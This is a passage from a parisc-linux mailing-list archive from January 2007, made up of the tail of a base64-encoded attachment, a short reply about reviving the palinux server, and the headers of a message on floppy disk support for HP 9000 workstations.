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
Cgn8F0Mo93TRcgAA

--_=__=_XaM3_.1169544942.2A.626863.42.460.52.42.007.234827115
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--_=__=_XaM3_.1169544942.2A.626863.42.460.52.42.007.234827115--



From - Thu Nov 08 21:35:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palinux AWOL
Date: Tue, 23 Jan 2007 13:26:48 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <7d01f9f00701230426r476f8b89p77760e661a6a2968__18866.8145485737$1416624267$gmane$org@mail.gmail.com>
References: <7d01f9f00701210935se78f8er65b276e67a68f502@mail.gmail.com>
	<119aab440701221856m3bced65dv6b23ac615909d562@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624267 22540 80.91.229.3 (22 Nov 2014 02:44:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:27 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Jan 2007 12:27:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx084) with SMTP; 23 Jan 2007 13:27:01 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 408E87D94A;
	Tue, 23 Jan 2007 05:26:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02748-05; Tue, 23 Jan 2007 05:26:58 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0B09C7D94F;
	Tue, 23 Jan 2007 05:26:55 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AEF1B7D947
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Jan 2007 05:26:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02748-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Jan 2007 05:26:50 -0700 (MST)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.225])
	by free.linux.hp.com (Postfix) with ESMTP id 0C4767D919
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Jan 2007 05:26:50 -0700 (MST)
Original-Received: by wr-out-0506.google.com with SMTP id i3so996354wra
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Jan 2007 04:26:49 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=pvgkHfVet0xOTAe44w++GedYK2oaWF56/eXZPuTXEUNLXSHLLs0PcneLpLYq47lB+Z6AkhXuLAioP6zYZaGZ9QRBW/thqlGxDoafz0Cr2cbM6UQjaqbcKKkK4YU8kl+WwFhs2UqaROj9mW7cftMbKkAGG0w8YFBZsz5Uhq6qtCU=
Original-Received: by 10.78.201.2 with SMTP id y2mr301148huf.1169555208446;
	Tue, 23 Jan 2007 04:26:48 -0800 (PST)
Original-Received: by 10.78.202.8 with HTTP; Tue, 23 Jan 2007 04:26:48 -0800 (PST)
In-Reply-To: <119aab440701221856m3bced65dv6b23ac615909d562@mail.gmail.com>
Content-Disposition: inline
X-Google-Sender-Auth: 2992f46f8bb49f52
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Ic2MfbomYW0+VLuGbmZp5kh0amthc9sk
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24257

On 1/23/07, Carlos O'Donell <carlos@systemhalted.org> wrote:
> On 1/21/07, Thibaut VARENE <T-Bone@parisc-linux.org> wrote:
> > palinux is in bad shape:
>
> So what does this mean? :-)

It means I spent a couple hours last night bringing it back to life,
cause I realized I wasn't receive email anymore 8)

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James K. Love" <jlove@scires.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Floppy disk support for 9000 series (715, 755,
	etc.) workstations.
Date: Tue, 23 Jan 2007 15:51:32 -0500
Organization: Scientific Research Corporation
Lines: 31
Approved: news@gmane.org
Message-ID: <45B67554.6010208__49578.8838169121$1416624267$gmane$org@scires.com>
Reply-To: jlove@scires.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
